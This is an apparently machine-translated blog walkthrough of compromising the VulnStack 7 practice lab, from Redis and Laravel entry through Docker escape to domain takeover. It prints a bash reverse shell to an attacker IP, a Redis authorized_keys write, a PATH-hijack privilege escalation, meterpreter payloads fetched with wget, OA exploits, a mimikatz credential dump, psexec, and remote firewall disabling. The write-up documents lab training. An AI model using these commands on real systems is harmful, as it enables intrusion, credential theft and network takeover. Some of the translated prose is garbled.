Location>code7788 >text

Red Sun Targeting Machine (VII) Notes

Popularity：81 ℃/2024-11-12 19:48:01

VulnStack-Red Sun Target VII

summarize

In VulnStack7 is a three-tier network environment consisting of five target machines, which are the DMZ zone, the second tier network, and the third tier network. Involved in the knowledge is also a lot, redis unauthorized use, laravel history of vulnerability, docker escape, tunneling, proxy construction, through the OA system of the history of vulnerability, msf payload reasonable use, kiwi, psexec, rdesktop and so on!

DMZ area:

  • Ubuntu (Web 1) is configured with two NICs, one bridged to provide services to the outside world, and one connected to VMnet8 to connect to the Layer 2 network.

Layer 2 network area:

  • Configure both Ubuntu (Web 2) and Windows 7 (PC 1) with two NICs, one connected to VMnet8 for Layer 2 networking and one connected to VMnet14 for Layer 3 networking.

Third network region:

  • Configure both Windows Server 2012 and Windows 7 (PC 2) with only one NIC, one connection on VMnet14 to connect to the Layer 3 network.

Topical Complementary Diagrams:

image-20241109131851217

Environment Configuration

Three NICs.

image-20241109130640049

VMnet8 is the NAT network card for the192.168.52.0/24 network segment

VMnet1 is192.168.31.0/24 network segment

VMnet14 is192.168.93.0/24 network segment

The machine is configured with a network card by default

Our attack machine, kali, is set to bridge mode.

Configuration complete, turn on the machine

Ubuntu in the DMZ needs to start the redis and nginx services:

sudo redis-server /etc/
sudo /usr/sbin/nginx -c /etc/nginx/
sudo iptables -F

Ubuntu on the Layer 2 network needs to start the docker container:

sudo service docker start
sudo docker start 8e172820ac78

Windows 7 (PC 1) on the Layer 3 network is required to start the pass-through OA:

C:\MYOA\bin\

Domain User Information

The domain user accounts and passwords are listed below:

  • Administrator：Whoami2021
  • whoami：Whoami2021
  • bunny：Bunny2021
  • moretz：Moretz2021

Ubuntu 1：

  • web：web2021

Ubuntu 2：

  • ubuntu：ubuntu

Access to OA accounts:

  • admin：admin657260

After turning on the service, we perform a penetration test

I. nmap scanning

1) Port scanning

sudo nmap -sT --min-rate 10000 -p- 192.168.153.77 -o ports

Starting Nmap 7.93 (  ) at 2024-11-09 13:38 CST
Nmap scan report for 192.168.153.77
Host is up (0.00080s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
81/tcp   open  hosts2-ns
6379/tcp open  redis
MAC Address: 00:0C:29:34:E3:01 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds

2) Detailed information scanning

sudo nmap -sT -sV -sC -p22,80,81,6379 192.168.153.77 -o details

Nmap scan report for 192.168.153.77
Host is up (0.00083s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c32db2d3a05fdbbbf6aaa48e79ba3554 (RSA)
|   256 ceaebd38956e5ba639869dfd4953dee0 (ECDSA)
|_  256 3a34c76d9dca4f217109fd5b566b0351 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: 404 Not Found
81/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Laravel
|_http-server-header: nginx/1.14.0 (Ubuntu)
6379/tcp open  redis   Redis key-value store 2.8.17
MAC Address: 00:0C:29:34:E3:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at /submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.91 seconds

3) Default Script Scanning

sudo nmap --script=vuln -p22,80,81,6379 192.168.153.77 -o vuln

Starting Nmap 7.93 (  ) at 2024-11-09 13:59 CST
Nmap scan report for 192.168.153.77
Host is up (0.00052s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
81/tcp   open  hosts2-ns
6379/tcp open  redis
MAC Address: 00:0C:29:34:E3:01 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 577.64 seconds

II. Web Penetration

Port 80 is 404.

image-20241109140127645

Port 81 is laravel.

image-20241109140542623

I see that laravel version number is 8.29.0 php version 7.4.14

Found it through google.CVE-2021-3129

git clone /joshuavanderpoll/
cd CVE-2021-3129
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r

fulfillment

python  --host http://192.168.153.77:81 --exec whoami --force

See the results

image-20241109151718797

because ofwww-data subscribers

Rebound shell

python  --force

  _____   _____   ___ __ ___ _    _____ ___ ___
 / __\ \ / / __|_|_  )  \_  ) |__|__ / |_  ) _ \
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_,  /
 \___| \_/ |___| /___\__/___|_|  |___/_/___|/_/
 /joshuavanderpoll/CVE-2021-3129
 Using PHPGGC: /ambionics/phpggc

[?] Enter host (. /) : http://192.168.153.77:81/

[?] Would you like to use the previous working chain 'laravel/rce1' [Y/N] : n
[@] Starting the exploit on "http://192.168.153.77:81/"...
[@] Testing vulnerable URL "http://192.168.153.77:81/_ignition/execute-solution"...
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/var/www/storage/logs/".
[•] Laravel version found: "8.29.0".
[•] Use "?" for a list of all available actions.

[?] Please enter a command to execute : execute bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1"

[@] Executing command "bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1""...
[@] Generating payload...
[√] Generated 21 payloads.
[@] Trying chain laravel/rce1 [1/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[!] Exploit request returned status code 500. Expected 200.
Error: "file_get_contents(): stream filter (-printable-decode): invalid byte sequence"
[!] Failed converting payload.
[!] Failed execution of payload.
Error : file_get_contents(phar:///var/www/storage/logs/): failed to open stream: internal corruption of phar "/var/www/storage/logs/" (truncated entry)
[?] Would you like to try the next chain? [Y/N] : y
[@] Trying chain laravel/rce2 [2/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.

Here you can see the shell returned when the second chain is executed.

image-20241109160332223

Looking at the machine name it's a bunch of alphanumerics, probably a docker container, check it out

find / -name .dockerenv 2> /dev/null

image-20241109160518890

Seeing that the web's environment is in the docker container, and our permissions arewww-dataThis permission does not allow us to do docker escaping.

In order to escape, we have to lift the privileges and then determine if we can escape to a physical machine. Let's prioritize this operation and look at the 6379 redis service first.

III. redis penetration

Connecting with a redis client

redis-cli -h 192.168.153.77

image-20241109162114264

Seeing that there is unauthorized access to redis, write a timed task with redis to gain a foothold

Write ssh_key

Generating Keys

ssh-keygen -t rsa

ferret out

cat ~/.ssh/id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali

Write to target machine (plus \n is a line break to prevent garbage data interference)

redis-cli -h 192.168.153.77
192.168.153.77:6379> set 0 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali\n\n\n"
OK
192.168.153.77:6379> config set dir /root/.ssh
OK
192.168.153.77:6379> config set dbfilename authorized_keys
OK
192.168.153.77:6379> save
OK

Execute on kali

ssh [email protected]

image-20241109182445420

iv. web follow-up

We already know that we can get root privileges on the target machine through unauthorized access to redis.

But when we web-penetrated, we found out that the target was a docker container, so it took a backseat in priority, so we'll now see if he can give us access to the shell of the target machine

(1) Raise the right

find / -perm -4000 -type f 2> /dev/null

/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/home/jobs/shell
/bin/mount
/bin/su
/bin/umount

Found one./home/jobs/shell file, which should be user-defined, let's run it to see exactly what it does

image-20241110143211934

Looks like a ps command style

Also seen in the sibling directory documents

image-20241110143351495

cat 
#include<>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

You can see that he executed the ps command with root privileges.

We can power up by modifying the environment variable

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH

image-20241110144310215

See that the system ps command has been changed to our customized ps command

/home/jobs/shell

image-20241110144416480

See that you've successfully come to root privileges

2) Determining Docker Escape

cat /proc/1/status | grep Cap

CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Look at Capeff.0000003fffffffffIt's most likely a privileged container, trying to make an escape.

3) Mount Escape

mkdir /.sys
mount /dev/sda1 /.sys

.sys The destination directory to be mounted, can be named arbitrarily, here I created a hidden directory

After the hang is complete, we enter the/.sys directory, you can see the physical machine's directory with read and write permissions

4) Determine the target machine's ip

cat /.sys/etc/network/interfaces

auto eth0
iface eth0 inet static
address 192.168.52.20
netmask 255.255.255.0
gateway 192.168.52.2
dns-nameservers 192.168.52.2

auto eth1
iface eth1 inet static
address 192.168.93.10
netmask 255.255.255.0

I see that the ip of this machine is192.168.52.20，192.168.93.10The ip of our redis service is the same as the ip of our redis service. And the two ips for our redis service are192.168.52.10 respond in singing192.168.153.77 I think it's an nginx reverse proxy.

We could be likeredis penetration Write the ssh_key or create a timed task to get the shell from the physical machine.

mkdir /.sys/root/.ssh

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali" > /.sys/root/.ssh/authorized_keys

We're in the redis192.168.153.77 The server is used as a springboard to connect to this docker physical machine

5) Build the ssh tunnel

In the redis192.168.153.77 On the server at the same time press~C

image-20241110161203938

6) Get the shell

Through a proxy tunnel

proxychains ssh [email protected]

But it still lets us enter the password, which appears asno mutual signature algorithm, which is caused by the fact that there is no shared signature algorithm between the client and the server.

Add Parameters

proxychains ssh [email protected] -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa

image-20241110163057379

Successfully got the docker physical machine192.168.52.20 shell

V. Going live msf

1) redis server online

a) Generation of * horses

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.153.37 lport=4444 -f elf >

Start the http service on the kali side

python -m  80

Download on the target side

wget http://192.168.153.37/

image-20241110153135405

chmod +x ./

(of a computer) run

image-20241110153443470

Successful launch

b) Set up intranet routing

Viewing the network segment of a network card

meterpreter > ipconfig

image-20241110154124922

meterpreter > run autoroute -s 192.168.52.0/24

image-20241110154336134

See added successfully

2) The docker server goes live

a) Generation of * horses

msfvenom -p linux/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f elf >

image-20241110164030880

Uploading to the docker physical machine

proxychains scp -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i ~/.ssh/id_rsa  [email protected]:/tmp/

image-20241110171721521

see that Uploaded successfully

image-20241110173850917

msf listener

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 192.168.52.20
rhost => 192.168.52.20
msf6 exploit(multi/handler) > run

image-20241110174224134

Seeing the successful go-live

b) Set up intranet routing

meterpreter > ipconfig

image-20241110174439138

meterpreter > run autoroute -s 192.168.93.0/24

image-20241110174619207

Seeing as we already have192.168.52.0/24 cap (a poem)192.168.93.0/24 Two network segments are routed.

VI. Intranet scanning

treat (sb a certain way)192.168.52.0/24 cap (a poem)192.168.93.0/24 Two network segments for intranet scanning

We upload fscan to the docker server, since this server contains two intranet segments

Here you can use the upload command of msf's meterpreter, or you can use the previous scp command, to upload the

upload www/fscan ./fscan

image-20241112120601723

On the docker machine, run

192.168.52.0/24 network segment

./fscan -h 192.168.52.3-254

    ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.52.10   is alive
(icmp) Target 192.168.52.20   is alive
(icmp) Target 192.168.52.30   is alive
[*] Icmp alive hosts len is: 3
192.168.52.30:135 open
192.168.52.10:81 open
192.168.52.10:80 open
192.168.52.20:22 open
192.168.52.10:22 open
192.168.52.30:8080 open
192.168.52.20:8000 open
192.168.52.30:445 open
192.168.52.10:6379 open
192.168.52.30:139 open
[*] alive ports len is: 10

There's also some scanning information related to fingerprint vulnerabilities

image-20241112122759294

192.168.93.0/24 network segment

./fscan -h 192.168.93.3-254

  / _ \     ___  ___ _ __ __ _  ___| | __                                                                                          
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /                                                                                          
/ /_\\_____\__ \ (__| | | (_| | (__|   <                                                                                           
\____/     |___/\___|_|  \__,_|\___|_|\_\                                                                                          
                     fscan version: 1.8.4                                                                                          
start infoscan                                                                                                                     
(icmp) Target 192.168.93.10   is alive                                                                                             
(icmp) Target 192.168.93.20   is alive                                                                                             
(icmp) Target 192.168.93.30   is alive                                                                                             
(icmp) Target 192.168.93.40   is alive
[*] Icmp alive hosts len is: 4
192.168.93.30:88 open
192.168.93.20:8080 open
192.168.93.10:8000 open
192.168.93.30:445 open
192.168.93.30:139 open
192.168.93.30:135 open
192.168.93.40:445 open
192.168.93.20:445 open
192.168.93.40:139 open
192.168.93.40:3389 open
192.168.93.20:139 open
192.168.93.40:135 open
192.168.93.20:135 open
192.168.93.10:22 open
192.168.93.40:1080 open
[*] alive ports len is: 14

Again there are some fingerprints and vulnerability scans

image-20241112123028957

see that192.168.52.30 cap (a poem)192.168.93.20 Both are on port 8080, and both are the fingerprints of Tongda OA, we have reason to suspect that these two ip's are from the same machine.

VII. Intranet penetration

To access it, remember to hook up the proxy, which is a tunnel we built with ssh on the docker server

image-20241112123324779

Found two ip's Tongda OA is the same page, found that he is the version of 2020, using google search related vulnerabilities

Utilizing scripts

Fake_user：/NS-Sp4ce/TongDaOA-Fake-User

image-20241112132235074

By exploiting the Fake_user vulnerability, we managed to get the administrator's cookie, replacing the cookie in the browser

image-20241112132319309

interviews

http://192.168.52.30:8080/general/

See login success

image-20241112132438472

See the detailed version of Tongda OA as 11.3.

Found its historical vulnerability: arbitrary file uploads

Finding exploit scripts

TongdaOA-exp：/z1un/TongdaOA-exp

image-20241112143705983

Saw an IceScorpion script uploaded

Here I modified its TongdaOA-exp script. I found that he was not getting the cookie correctly when he found the fake_user vulnerability.

I replaced the cookie value from the above Fake_user script run with the TongdaOA-exp script

image-20241112152423862

successfully connected

see that192.168.52.30 cap (a poem)192.168.93.20 The two IPs are this machine.

network test

image-20241112152644879

Seeing that the target machine is out of the net, go directly online to our CS with IceScorpion, msf

I'm in a VM environment here, and I'm not using a public server, so I'm positively *ized to go online with msf

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f exe >

Using IceScorpion's file management feature, upload to the target machine'sC:/Program Files/directory, and execute the

image-20241112161057501

Successful launch

image-20241112161009004

sysinfo sees that this windows machine is a domain machine

image-20241112161228833

VIII. Lateral movement

Rebuild the socks proxy with the msf module, he will proxy to the target ip based on his own routing.

msf6 auxiliary(server/socks_proxy) > run

There is a step 6 intranet scan that shows that now192.168.93.0/24There are two more machines in the network segment.192.168.93.30cap (a poem)192.168.93.40Two machines.

included among these192.168.93.30It's a domain controller.

We load the msf-integrated mimikatz module fast-kiwi

load kiwi
creds_all

image-20241112183325391

image-20241112162551452

image-20241112162648735

Saw the domain administrator's hash and plaintext passwords

Try moving sideways with administrator

msf6 exploit(windows/smb/psexec) > set smbuser administrator              
smbuser => administrator         
msf6 exploit(windows/smb/psexec) > set smbpass Whoami2021         
smbpass => Whoami2021                 
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.30     
rhost => 192.168.93.30                                 
msf6 exploit(windows/smb/psexec) > run

Failed, should be a firewall problem, we use IPC channel to close the firewall

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.40 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

Successful on-line domain control

image-20241112183047802

There's one pc2 left, and I see that pc2 has the 3389 remote desktop management service enabled.

proxychains rdesktop -d WHOAMIANONY -u administrator -p Whoami2021 192.168.93.40:3389

image-20241112190644260

Upload the * horse to PC2, on the line msf, at this time all the machines in the domain on the line to the msf

image-20241112191406332

summarize

First got the initial shell via redis unauthorized.

Through laravel's CVE-2021-3129, got docker's www-data privileges, used internal script shell, hijacked the environment variable to lift the power of the root, check the network configuration file to understand that redis and docker server are two machines. Using docker's privileges, hang in the physical machine's directory, write the ssh key to get the root privileges of the docker server.

An intranet scan of two network segments found that the Tongda OA system, using the Fake_user and file upload vulnerabilities, got the system privileges of the PC1 server.

Using the msf-integrated kiwi framework, grab the plaintext passwords, shut down the firewall, and take down the domain control horizontally with psexec

Finally took PC2 with rdesktop

<Previous Next>